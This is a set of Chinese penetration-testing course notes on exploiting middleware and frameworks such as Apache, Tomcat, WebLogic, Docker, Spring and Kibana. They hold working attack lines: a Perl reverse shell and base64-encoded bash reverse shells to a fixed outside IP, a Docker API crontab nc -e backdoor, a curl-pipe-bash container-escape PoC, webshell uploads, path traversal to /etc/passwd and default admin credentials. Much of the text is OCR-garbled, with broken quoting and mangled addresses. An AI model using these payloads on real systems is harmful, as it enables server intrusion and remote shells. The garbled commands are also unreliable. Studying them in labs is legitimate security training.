思路:使用fofa查询端口为873的资产,使用msf批量扫描目的资产

协议漏同-应用软件-FTP&Proftpd搭建

https://github.com/tokx/exploit-CVE-2015-3306
python exploit.py –host 123.58.236.76–port 24967–path “/var/www/html/”
http://123:58.236:76.19758/backdoorphp?cmd=id

协议漏洞-应用软件-SSH&libssh&Openssh

openssh CVE-2014-0160CVE-2018-15473cve202015778
CVE-2014-0160版本很少
cve_2020_15778价值不高(需要普通用户账号密码,可以返回shell但是权限仍是普通用户)
环境效果:不可以ssh连接,可以使用scp

CVE-2018-15473-用户名枚举
https://github.com/Rhynorater/CVE-2018-15473-Exploit

1
2
3
4
pip3 install-r requirements.txt
pip3 install paramiko==2.4.1
python sshUsernameEnumExploit.py –port 32013 –userList examplelnput.txt
123.58.236.76

第58天 服务攻防-应用协议&设备Kibana&Zabbix&远控向日葵&VNC&TV

知识点:

1、远程控制第三方应用安全
2、三方应用-向日葵&VNC&TV
3、设备平台-Zabbix&Kibanai漏洞

章节内容:

常见版务应用的安全测试:
1、配置不当-未授权访问
2、安全机制特定安全漏洞
3、安全机制-弱口令侵破攻击

前置知识:

应用服务安全测试流程:见图
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属数据库&文件传输&通讯等
3、判断服务利用方式特定漏洞8未授权&弱口令等

演示案例:

远程控制-向日葵&Vnc&Teamviewer
设备平台-Zabbix-CVE-2022-23131
设备平台-Kibana-CVE-2019-7609

远程控制-向日葵&Vnc&Teamviewer

-向日葵RCE

1
2
3
https://github.com/Mr-xn/sunlogin_rce
xrkRce.exe -h 192.168.46.157 -t scan
xrkRce.exe -h 192.168.46.157-t rce-p 49712-c “ipconfig”
1
2
3
4
5
命令说明:
-h 指定目标
-t 选择扫描或者命令执行 默认scan
-p 设置扫描端口范围 默认4w到65535
-c 需要执行的命令

-VNC口令问题&未授权
MSF内置口令及未授权测试

-Teamviewer

需要满足亮点两点:1、主机安装Teamviewer 2、管理员点击访问构造好的链接

1
2
3
4
5
6
7
8
9
10
11
<IDOCTYPE html>
<html>
<head>
stitle>cv2020-13699/itle>
</head>
<body>
<p>Welcome to xiaodil</p>
<iframe style="height:1px;width:1px;"src='teamviewer10:--play Wattacker-
IP\sharelfake.tvs'></iframe>
</body>
</html>

设备平台-Zabbix-CVE-2022-23131

Zabbiⅸ是由Alexei Vladishev开发的一种网络监视、管理系统,基于Server-Client架构。
是一款服务器监控软件,其由server、.agent、,web等模块组成,其中web模块由PHP编
写,用来显示数据库中的结果。默认端口:10051红
Zabbix CVE-2022-23131登录绕过漏洞复现
https://github.com/LOading-x/cve-2022-23131
python3 zabbix.py target Admin
然后修改Cookie,使用saml登录即可
CVE-2017-2824CVE-2020-11800

获取权限后续利用:1、添加反弹shell脚本–2、服务器执行脚本–3、获取服务器权限

添加反弹shell脚本

找到服务器配置处

运行脚本

设备平台-Kibana-CVE-2019-7609

Kibanai为Elassticsearch设计的一款开源的视图工具。其5.6.15和6.6.1之前的版本中存在一
处原型链污染漏洞,利用泥洞可以在目标服务器上执行任意代码。默认端口:5601
https://github.com/LandGrey/CVE-2019-7609
es(*).props(label._proto_env.AAAA=‘require(“child_process”).exec(“/bin/touch
/tmp/success”):process.exit()//).props(label._proto.env.NODE_OPTIONS=’–require
/proc/self/environ’)

脚本批量探测

1
2
3
4
5
6
import os

for ip in open('ips.txt');
ip=ip.strip() #换行符
cmdline='D:\python2.7\python.exe CVE-2019-7605-kibana-rce.py -u %s -host 41.94.236.117 -port 5566 --shell' %ip
os.system(cmdline)

第59天 服务攻防-中间件安全&CVE复现&lS&Apache&Tomcata&Nginx

知识点:

中间件及框架列表:
lIS,Apache,Nginx,Tomcat,Docker,Weblogic,JBoos,WebSphere,Jenkins,
GlassFish,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Sprng,Flask,jQuery
1、中间件-IIS短文件&解析&蓝屏等
2、中间件-Nginx-文件解析&命令执行等
3、中间件-Apache-RCE&目录遍历&文件解析等
4、中间件-Tomcat-弱口令&文件上传&文件包含等

章节内容:

常见中间件的安全测试:
1、配置不当-解析&弱口令
2、安全机制特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用框架特定安全漏洞

前置知识:

中间件安全侧试流程:
1、判断中间件信息名称&版本&三方
2、判断仲间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞
应用服务安全测试流程:见图
1、判断服务开放情况端口扫描&组合应用等
2、判断服务类型归属数据库&文件传输&通讯等
3、判断服务利用方式持定漏洞&未授权&弱口令等

演示案例:

中间件IIS-短文件&解析&蓝屏等
中间件-Nginx-文件解析&命令执行等
中间件-Apache-RCE&目录遍历&文件解析等
中间件。Tomcat-弱口令&文件上传&文件包含等
中间件-Apache RCE&Fofa Viewer-走向高端啊

中间件IIS短文件&解析&蓝屏等

Internet Information Services(IIS,以前称为Internet Information Server)互联网信息服务是Microsoft公司提供的可扩展Web服务器,支持HTTP,HTTP/2,HTTPS,FTP,FTPS,SMTP和NNTP等。起初用于Windows NT系列,随后内置在Windows 2000、Windows XP Professional、Windows Server 2003和后续版本一起发行,但在Windows XP Home版本上并没有IIS。IIS目前只适用于Windows系统,不适用于其他操作系统。

1、短文件:信息收集 参考链接:https://www.freebuf.com/articles/web/172561.html
2、文件解析:还有点用
3、HTTP.SYS:蓝屏崩溃
4、CVE-2017-7269条件过老
其他IIS漏洞参考:https://blog.csdn.net/qq_52486507/article/details/129863950

1
IIS是Windows上的一个中间件,现在用到的已经算是比较少的了。

中间件-Nginx-文件解析&命令执行等

vulhub开启环境

上传图片文件–通过burp在文件中加入phpinfo()语句

访问图片,在图片后面加上 /.php语句被成功解析并执行:

可利用此来上传木马,从而进行getshell
上传一句话木马

使用hackbar执行phpinfo();

Nginx 文件名逻辑漏洞

漏洞原理:

主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。

vulhub启动环境:

上传gif图片文件,通过burp抓包插入pnpinfo();
然后在文件名后缀加入空格

再用过浏览器访问上传图片后返回的文件路径,因为在文件名后加了空格所以直接访问不到
再抓包在文件名后加两个空格和.php(/uploadfiles/1.jpg )–然后修改空格16进制为00

最后返回PHP info内容

中间件-Apache-RCE&目录遍历&文件解析等

Apache HTTP Server是美国阿帕奇(Apache)基金会的一款开源网页服务器。该服务器
具有快速、可靠且可通过简单的API进行扩充的特点,发现Apache HTTP Server2.4.50
中针对CVE-2021-41773的修复不够充分。攻击者可以使用路径遍历攻击将URL映射到
由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置
要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了CG引脚
本,则这可能允许远程代码执行。此问题仅影响Apache2.4.49和Apache2.4.50,而不
影响更早版本。

1、Cve-2021-42013RCE

P0ST /cgi-bin.%%32%651.%%32%65/.%%32%651.%%32%65bin/sh
echo;perl -e ‘use Socket:Si=“47.94.236.117”;
Sp=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,socka
ddr_in(Sp,inet_aton(Si))))
[open(STDIN,“>&S”):open(STDOUT,“>&S”);open(STDERR,“>&S”):exec(/bin/sh -i”)😉

使用.%%32%65进行绕过(注意其中的/icons/必须是一个存在且可访问的目录):

可见,成功读取到/etc/passwd:

在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:

1
curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
2、CVE-2021-41773目录穿越

Apache HTTP Server2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏
洞,攻击者可利用该漏洞读取到Wb目录外的其他文件,如系统配置文件、网站源码等,
甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。
Burp:ic0ns/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%
%32%65/etc/passwd

3、Cve-2017-15715文件解析

Apache HTTPD:是一款HTTP服务器。其2.4.0~2.4.29版本存在一个解析漏洞,在解析PHP
时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策路。

Cve-2017-15715文件解析漏洞复现:

启动环境

在1.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A),不再拦截
注意添加的位置,可以先手动在文件名后加空格,然后切换到16进制将20改为0a。

访问刚才上传的/evil.php%0a,发现能够成功解析,但这个文件不是php后缀,说明目标存在解析漏洞:

4、Cve2017-9798价值不高
5、Cve_2018_11759价值不高I
6、Cve_2021-37580插件问题

中间件Tomcat-.弱口令&文件上传&文件包含等

简介:

Tomcat是Apache软件基金会(Apache Software Foundation)的Jakarta项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP规范总是能在Tomcat 中得到体现,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java爱好者的喜爱并得到了部分软件开发商的认可,成为比较流行的Web 应用服务器。

1、弱口令猜解

配置不当导致后台弱口令,可通过上传jsp压缩包改名的war拿shell

弱口令漏洞复现

vulhub启动环境:

访问ip:8080 点击Manager APP登录,弱口令为tomcat/tomcat

getshell:首先使用哥斯拉生成jsp后门,然后将jsp文件压缩为zip文件,再通过修改后缀的方式改为.war文件

在tomcat上传点上传war文件,通过返回信息查看上传状态

访问http://192.168.74.132/222/222.jsp 文件存在 ,使用哥斯拉连接获得服务器权限

2、CVE-2017-12615文件上传

当存在漏洞的Tomcati运行在Nindows/Linux主机上,且启用了HTTP PUT请求方法(例
如,将readonly初始化参数由默认值设置为false),攻击者将有可能可通过精心构造的
攻击情求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码
将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。
影响版本Apache Tomcat7.0.0-7.0.79
PUT /1.jsp/HTTP/1.1
shell代码

3、cve-2020-1938文件包含(脚本执行)

Apache Tomcat AJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,攻击者
利用该漏洞可通过构造特定参数,读取服务器vebapp目录下的任意文件。若服务器端同时
存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。
漏洞影响的产品版本包括:
Tomcat 6].*
Tomcat7.<7.0.100
Tomcat8.<8.5.51
Tomcat9.*<9.0.31
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
D:\Python27\python.exe CNVD-2020-10487-Tomcat-Ajp-lfi.py 123.58.236.76-p 63667-f
WEB-INF/web.xml

4、Cve202011996拒绝服务

危害过大,权限无关,意义不大

5、Cve20209484反序列化

利用条件太司刻,意义不大

中间件-Fofaviewer&Apache_RCE-走向高端啊

server=“Apache/2.4.49”
视频中未进行演示推测具体的流程为:
1、使用fofaview进行目标资产收集
2、编写python脚本进行批量化漏洞探测

第60天 服务攻防-中间件安全&CVE复现&Weblogic&Jenkins&GlassFish

知识点:

中间件及框架列表:
lIS,Apache,Nginx,Tomcat,Docker,Weblogic,JBoos,WebSphere,Jenkins,
GlassFish,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Sprng,Flask,jQuery
1、中间件-Weblogic安全 ———–感觉其中最重要的一个
2、中间件JB00S安全
3、中间件-Jenkins:安全
4、中间件-GlassFish安全

章节内容:

常见中间件的安全测试:
1、配置不当-解析&弱口令
2、安全机制特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用框架特定安全漏洞

前置知识:

中间件安全侧试流程:
1、判断中间件信息名称&版本&三方
2、判断仲间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞
应用服务安全测试流程:见图
1、判断服务开放情况端口扫描&组合应用等
2、判断服务类型归属数据库&文件传输&通讯等
3、判断服务利用方式持定漏洞&未授权&弱口令等

演示案例

中间件Weblogic-工具搜哈
中间件JBoos-工具脚本搜哈
中间件-Jenkins-工具脚本搜哈
中间件-GlassFish-工具脚本搜哈
配合下-FofaViewer-.工具脚本搜哈

1、中间件-Weblogic-CVE&反序列化&远程执行

​ 简介:Weblogic 是 Oracle 公司推出的一个基于JAVAEE架构的中间件,能为JAVA程序提供开发、集成、部署和管理等功能。

注:由于下面的几个漏洞大部分可直接用集成工具一键探测并利用,因此下面只介绍漏洞详情,就不复现了,下载链接如下:

WeblogicTool-GUI漏洞利用工具https://github.com/KimJun1010/WeblogicTool ,支持漏洞检测、命令执行、内存马注入、密码解密等

此工具需要在java8环境下运行,检查java版本

(1) CVE-2017-3506 远程代码执行漏洞

简介:

    Weblogic的WLS Security组件对外提供webservice服务 ,里面的XMLDecoder是用来解析用户传入的数据,解析的过程中,由于其中的WorkContextXmlInputAdapter类没有限制传入的数据,会出现反序列化漏洞,导致可执行任意命令,因此可被攻击者构造恶意代码拿到权限。

影响版本:

    OracleWebLogic Server10.3.6.0.0

    OracleWebLogic Server12.1.3.0.0

    OracleWebLogic Server12.2.1.1.0

    OracleWebLogic Server12.2.1.2.0

判断方法:

    访问以下目录,页面有返回服务信息则说明或许存在漏洞

/wls-wsat/CoordinatorPortType

/wls-wsat/RegistrationPortTypeRPC

/wls-wsat/ParticipantPortType

/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11

/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11

/wls-wsat/RegistrationRequesterPortType11

(2)CVE-2018-2893 反序列化漏洞

简介:

    此漏洞产生于WebLogic T3服务,T3协议在WebLogic Server和客户端间承当传输数据和通信作用,Weblogic开放端口后T3会默认开启,WebLogic服务存在的漏洞允许未经身份验证的攻击者通过T3获得服务器权限。

影响版本:

    WebLogic 10.3.6.0

    WebLogic 12.1.3.0

    WebLogic 12.2.1.2

    WebLogic 12.2.1.3
(3)CVE-2018-3245 远程代码执行漏洞

简介:

    该漏洞和CVE-2018-2893类似,通过JRMP协议利用RMI机制的缺陷,进行远程代码执行漏洞的利用。攻击者可构造恶意代码并通过T3进行反序列化实现远程代码执行获取系统权限。

影响版本:

    Weblogic 10.3.6.0

    Weblogic 12.1.3.0

    Weblogic 12.2.1.3

判断方法:

    CVE-2018-3245-PoC
(4)CVE-2020-14882 未授权命令执行漏洞

简介:

    此漏洞可被未经身份验证的攻击者通过构造特殊的GET请求进行攻击,

影响版本:

    Oracle Weblogic Server 10.3.6.0.0

    Oracle Weblogic Server 12.1.3.0.0

    Oracle Weblogic Server 12.2.1.3.0

    Oracle Weblogic Server 12.2.1.4.0

    Oracle Weblogic Server 14.1.1.0.0

WeblogicTool可以识别存在漏洞,但是利用这块用不了,尝试手工复现下

打开vulhub,进入/weblogic/CVE-2020-14882,启动容器

打开访问界面http://192.168.190.153:7001/console

输入poc,可直接进入后台,说明存在漏洞

1
2
这个在最近打的一个渗透靶场中也出现了好几题相关的题目,虽然可以绕过直接进入后台,但只是低权限用户,并没有什么太大作用,主要漏洞点一般情况下载另一个界面中的ssrf漏洞
http://175.27.135.16:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=127.0.0.1:7000

参考链接:https://cloud.tencent.com/developer/article/2202740

(5)CVE-2021-2394 反序列化漏洞

简介:

    此为WebLogic组件存在高危漏洞,漏洞主要是FilterExtractor的readExternal方法使用不当,使得生成 MethodAttributeAccessor的时候不会受到黑名单的限制。成功利用该漏洞的攻击者可以获取WebLogic Server管理权限。

影响版本:

    Oracle WebLogic Server 10.3.6.0.0

    Oracle WebLogic Server 12.1.3.0.0

    Oracle WebLogic Server 12.2.1.3.0

    Oracle WebLogic Server 12.2.1.4.0

    Oracle WebLogic Server 14.1.1.0.0

这里用vulhub的CVE-2020-14882的漏洞环境来代替(版本一致)

可以直接使用工具去连接存在漏洞的页面,从而直接可以达到命令执行的效果。

2、中间件-JBoos-CVE&弱口令

简介:

    Jboss 通常占用的端口是 1098,1099,4444,4445,8080,8009,8083,8093 这

几个,Red Hat JBoss Application Server 是一款基于 JavaEE 的开源应用服务器。

(1)CVE-2017-12149 反序列化远程代码执行漏洞

简介:

    JBOSS Application Server是一个基于JE22的开放源代码的应用服务器,在这个漏洞中,发现 HTTP Invoker 的 ReadOnlyAccessFilter 中的 doFilter 方法不限制它执行反序列化的类,因此允许攻击者通过构建特殊的的序列化数据执行任意代码,无需用户验证即可获得服务器的控制权。

影响版本:

    5.x和6.x版本的JBOSSAS
(2)CVE-2017-7504 反序列化命令执行漏洞

简介:

    Jboss AS 4.X及之前的版本中的JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在安全漏洞。远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

影响版本:

    JBoss AS<=4.x
3)弱口令 未授权访问

简介:

​ 部署jboss时管理员有时会忽略修改密码导致弱口令,又或者无密码可以直接访问后台导致未授权访问。

影响版本:

​ 全版本

3、中间件-Jenkins-CVE

简介:

​ Jenkins 是一个用 Java 编写的开源自动化工具,是基于Java开发的一种持续集成工具,用于监控持续重复的工作。默认端口:8080

(1)CVE-2017-1000353 远程代码执行漏洞

简介:

    该漏洞存在于使用HTTP协议的双向通信通道的具体实现代码中,Jenkins利用此通道来接收命令,恶意攻击者可以构造恶意攻击参数远程执行命令,从而获取系统权限,造成数据泄露。

影响版本:

    所有Jenkins主版本均受到影响(包括<=2.56版本)
    所有Jenkins LTS 均受到影响(包括<=2.46.1版本)
(2)CVE-2018-1000861 远程命令执行漏洞 (未完成)

简介:

    jenkins使用Stapler开发,在stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java 中使用的 Stapler Web 框架中存在一个代码执行漏洞,该漏洞允许攻击者通过访问构建特殊的 URL 来调用 Java 对象上的某些方法获取权限。

影响版本:

    Jenkins主版本 <= 2.153
    Jenkins LTS版本 <= 2.138.3
3)CVE-2019-100300 远程代码执行漏洞(条件苛刻)

简介:

    在src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/GroovySandbox.java 中存在一个沙盒绕过漏洞,该漏洞允许能提供沙盒脚本的攻击者在 Jenkins master JVM 上执行任意代码。

影响版本:

    Pipeline: Declarative 插件 <= 1.3.4
    Pipeline: Groovy 插 件 <= 2.61
    Script Security 插 件 <= 1.49

该漏洞需要提前知道管理员用户账号和密码才能进行利用,利用价值不高

4、中间件-GlassFish-CVE

简介:

    GlassFish 是一款强健的商业兼应用服务器,达到产品级质量,可免费用于开发、部署和重新分发。开发者可以免费获得源代码,还可以对代码进行更改。默认端口为4848。
(1)CVE-2017-1000028 任意文件读取漏洞

简介:

    Oracle 的 GlassFish Server Open Source Edition 4.1 容易受到经过身份验证和未经身份验证的目录遍历漏洞的攻击,可以通过发出特制的 HTTP GET 请求来利用该漏洞。

影响版本:

   GlassFish <= 4.1.2
(2)简单口令&Getshell (getshell失败)

简介:

​ 部署Glassfish时管理员有时会忽略修改密码导致弱口令,又或者无密码可以直接访问后台导致未授权访问。

影响版本:

​ 全版本

1
附加:主要其实就是Weblogic个人感觉更为常见点,所以对于其他的中间件就没做太过多的收集,都是一些相关CVE,使用搜索引擎也很容易去搜到相关的poc

第61天 服务攻防-中间件安全&CVE复现&K8S&Docker&Jetty&Websphere

知识点:

中间件及框架列表:
lIS,Apache,Nginx,Tomcat,Docker,Weblogic,JBoos,WebSphere,Jenkins,
GlassFish,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Sprng,Flask,jQuery
0、中间件-K8s安全
1、中间件Jey安全
2、中间件-Docker安全
3.中间件-WebSphere:安全

章节内容:

常见中间件的安全测试:
1、配置不当-解析&弱口令
2、安全机制特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用框架特定安全漏洞

前置知识:

中间件安全侧试流程:
1、判断中间件信息名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞
应用服务安全测试流程:见图
1、判断服务开放情况端口扫描&组合应用等
2、判断服务类型归属数据库&文件传输&通讯等
3、判断服务利用方式持定漏洞&未授权&弱口令等

演示案例

中间件K8s-搜哈
中间件Jety-搜哈
中间件Docker-搜哈
中间件-WebSphere-搜哈
配合下-Fofa_Viewer-搜哈

中间件-K8s-搜哈
kubernetest简称k8s,是一个由google开源的,用于自动部暑,扩展和管理容器化应用程序的开源系统。在B站内部,k8s在管理生产级容器和应用服务部署已经有较为广泛和成熟的应用。通过kK8$,可跨多台主机进行容器编排、快速按需扩展容器应用及其资源、对应
用实施状况检查、服务发现和负载均衡街等。
https://blog.csdn.net/w1590191166/article/details/122028001

中间件Jetty-搜哈
Elipse Jetty是一个开源的servlet容器,它为基于Java的Web容器提供运行环境。
CVE-2021-28164
http://123.58.236.76.63126/%2e/WEB-INF/web.Xxml
CVE-2021-28169
http://123.58.236.76:63126/static?/WEB-INF/web.xml
CVE-2021-34429
http:/123.58.236.76:63126/%u002eWEB-NF/web.xml

中间件-Docker-搜哈
Docker容器是使用沙盒机制,是单独的系统,理论上是很安全的,通过利用某种手段,再结合执行POC或EXP,就可以返回一个宿主机的高权限Shll,并拿到宿主机的root权限,可以直接操作宿主机文件。它从容器中逃了出来,因此我们形象的称为Dockeri逃逸漏洞。
1、容器判断:判断当前是否是容器环境
-是否存在.dockerenv文件

1
Is -alh /.dockerenv

查间系统进程的cgroup信息:

1
cat /proc/1/cgroup

2、容器逃逸漏洞:权限提升
-由两核漏洞引起一DirtyC0W(CVE-2016-5195)
-由Docker软件设计引起CVE-2019-5736、CVE-2019-14271,CVE-2020-15257
由配置不当引起一开启privileged(特权模式)+宿主机目录挂载(文件挂载)、功能
(capabilities)机制、sock通信方式
CVE-2016-5195
https://github.com/gebl/dirtycow-docker-vdso
https://www.ichunqiu.com/experiment/catalog?id=100295
第一步、启动容器:
#使用本地1234端口连接docker的1234端口运行dirtycow镜像,并将其临时命名为test
#其中test:为临时名称,可以自定义填写。p:第一个端口为本机的端口,第二个端口
为Docker的端口。-td:意思是在后台运行,交互式运行,并且输出当前的信息
bin/bash:调用Shel

1
docker run --name=test-p 1234:1234 -itd dirtycow /bin/bash

第二部、进入容器:
#进入镜像内部

1
docker exec-it test /bin/bash

第三步、
#编译并运行POC

1
2
3
cd /dirtycow-vdso/
make
/0xdeadbeef

执行操作即可作用宿主机

-CVE-2019-5736
参考:https:///blog.51cto.com/u_15060465/4336524
复现:curl
https://aist_githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o
install.sh &bash install.sh
1、下载POC

1
git clone https://github.com/Frichetten/CVE-2019-5736-PoC

2、修改编译生成payload

1
CGO ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

2、修改编译生成payload

1
CGO ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

3.将该payload拷贝到docker容器中(此时可以模拟攻击者获取了docker容器权限,在容器
中上传payload进行dockeri逃逸)并执行

1
2
3
4
5
docker cp main ecca872da49d:/home
docker exec-it ecca872da49d bash
cd /home/
chmod 777 main
/main

4、再次进入docker镜像后监听即可收到

1
2
docker exec-t镜像ID bash
nc -lwvp

3、容器安全漏洞
docker未授权访问漏洞-vulhub-exp.py

1
2
3
4
5
import docker
client docker.DockerClient(base_url='http://IP:2375/)
data=client.containers.run(alpine:latest',r"sh-c"echousr/bin/nc反弹IP端☐-e
bin/sh'>>/tmp/etc/crontabs/root"",remove=True,volumes=f/etc":(bind':'/tmp/etc',
'mode':'nw)))

中间件-WebSphere-搜哈
WebSphere@Application Server加速交付新应用程序和服务,它可以通过快速交付创新
的应用程序来帮助企业提供丰富的用户体验从基于开放标准的丰富的编程模型中进行选
择,以便更好地协调项目需求与编程模型功能和开发人员技能。
端口:9080一web(http)应用访问端口、9443-web(https)应用访i问端口、9060一管理后台
访问端口、9043一管理控制台安全端口、8880一SOAP连接器端口等等。
漏洞探测在8880满口,后台是9060端口,解析是9080端口
拉取镜像:docker pull iscrosales/websphere7
启动镜像:docker run-d-p9060:9060-p9043:9043-p8880:8880-p9080:9080
iscrosales/websphere7
停止镜像:docker stop $(docker ps-aq)
1、CVE-2015-7450反序列化
工具搜哈:http://147.94.236.117:8880/
2、弱☐令上传拿Shell
-在6x至7.0版本,后台登陆只需要输入admin作为用户标识,无需密码,即可登陆后台。
-websphere/websphere
-system/manager
访i问:http:147.94.236.117:9060/
登录:admin
上传:war马
启动:1_war
连接:http://47.94.236.117:9080/1/1jsp
3、CVE-2020-4450:无利用P0C/EXP

第62天 服务攻防-框架安全&CVE复现&Spring&Struts&Laravela&ThinkPHP

知识点:

中间件及框架列表:
IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic.JBoos,WebSphere,
Jenkins,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,
Flask,jQuery等
1、开发框架-PHP-Laravel-Thinkphp
2、开发框架-Javaweb-St2-Spring
3.开发框架-Python-django-Flask
4、开发框架-Javascript-Node.js-JQuery

常见语言开发框架:

PHP:Thinkphp Laravel YIl Codelgniter CakePHP Zend
JAVA:Spring MyBatis Hibernate Struts2 Springboot
Python:Django Flask Bottle Turbobars Tornado Web2py
Javascript:Vue.js Node.js Bootstrap JQuery Angular

章节内容:

常见中间件的安全测试:
1、配置不当-解析&弱口令
2、安全机制特定安全漏洞
3、安全机制弱口令爆破攻击
4、安全应用-框架特定安全漏洞

前置知识:

,中间件安全测试流程:
1、判断中间件信息名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞

应用服务安全测试流程:见图
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属数据库&文件传输&通讯等
3、判断服务利用方式特定漏洞&未授权&弱口令等

开发框架组件安全测试流程:
1、判断常见语言开发框架类型
2、判断开发框架存在的CVE问题
3、判断开发框架CVE漏洞利用方式

演示案例:

PHP-开发框架安全-Thinkphp&Laravel
JAVAWEB-开发框架安全-Spring&Struts2

PHP-开发框架安全-Thinkphp&Laravel

-Laravel是一套简洁、优雅的PHP Web开发框架PHP Web Framework).
CVE-2021-3129RCE
Laravel <8.4.2
https://github.com/zhzyker/CVE-2021-3129
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
漏洞复现:
使用exp一步Thinkphp-3.X RCE-5.X RCE 脚本小子上线
ThinkPHP是一套开源的、基于PHP的轻量级Web应用开发框架
武器库-Thinkphp专检写入shell,使用哥斯拉连接

JAVAWEB-开发框架安全-Spring&Struts2

Struts:2是一个基于MvC设计模式的Web应用框架

1、2020前漏洞 复现

武器库-S2专检

2、cve_2020_17530 复现

脚本:https://github.com/YanMu.2020/s2-062
手工:

3、cve2021_31805

https://github.com/YanMu2020/s2-062

Spring框架是由于软件开发始的复杂性而创建的。
1,cve_2017_4971-Spring Web Flow vulfocus

Spring WebFlow 2.4.0-2.4.4
https://paper.seebug.org/322/
_eventld_confirm=&csrf=e06e1d86-e083-45f7-
b700-567b5f7f5d30&(new+java.lang.ProcessBuilder(“bash”,“-c”,”bash±
i+>%26+/dev/tcp/47.94.236.117/5566+0>%261).stat0=vulhub

2.cve_2018_1273-Spring Data Commons vulfocus

Spring Data Commons 1.13-1.13.10 (Ingalls SR10)
Spring Data REST 2.6-2.6.10(Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5
Spring Data REST 3.0-3.0.5(Kay SR5)
bash-c
fecho.YmFzaCAtaSA+JiAvZGV2L3RicC80Ny45NC4yMzYuMTE3LZU1NjYgMD4mMQ==
base64,-d bash,-i)
username#this getclass().forName(“java lang.Runtime”).getRuntime(.exec(“%62%61%
73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74
%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%3
0%4e%79%34%35%4e%43%34%79%4d%7a%59%75%4d%54%45%33%4c%7a%55%
31%4e%6a%59%67%4d%44%34%6d%4d%51%3d%3d%7d%7c%7b%62%61%73%65
%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d”]=&passw0rd=&
repeatedPassword=

3、CVE-2022-22963 Spring Cloud Function Spel表达式注入 vulhub

Spring Cloud Function提供了一个通用的模型,用于在冬种平台上部署基于函数的软件,
包括像Amazon AWS Lambda这样的FaaS(函数即服务,function as a service)平台。
Connection:close
spring cloud.function.routing-expression:T(java.lang.Runtime).getRuntime(.exec(“bash-
(echo,YmFzaCAtaSA+JiAVZGV2L3RjcC80Ny45NC4yMzYuMTE3LZU1NjYgMD4mMQ==)
Kbase64.-d)(bash,-i)”)

第六十三天 服务攻防-框架安全&CVE复现&Django&Flask&Node.JS&JQuery

中间件及框架列表:

IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic.JBoos,WebSphere,
Jenkins,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,
Flask,jQuery等
1、开发框架-PHP-Laravel-Thinkphp
2、开发框架-Javaweb-St2-Spring
3.开发框架-Python-django-Flask
4、开发框架-Javascript-Node.js-JQuery
5、其他框架Java-Apache Shiro&Apache Sorl

常见语言开发框架:

PHP:Thinkphp Laravel YIl Codelgniter CakePHP Zend
JAVA:Spring MyBatis Hibernate Struts2 Springboot
Python:Django Flask Bottle Turbobars Tornado Web2py
Javascript:Vue.js Node.js Bootstrap JQuery Angular

章节内容:

常见中间件的安全测试:
1、配置不当-解析&弱口令
2、安全机制特定安全漏洞
3、安全机制弱口令爆破攻击
4、安全应用-框架特定安全漏洞

前置知识:

中间件安全测试流程:
1、判断中间件信息名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞

应用服务安全测试流程:见图

1、判断服务开放情况-端口扫描&组合应用等
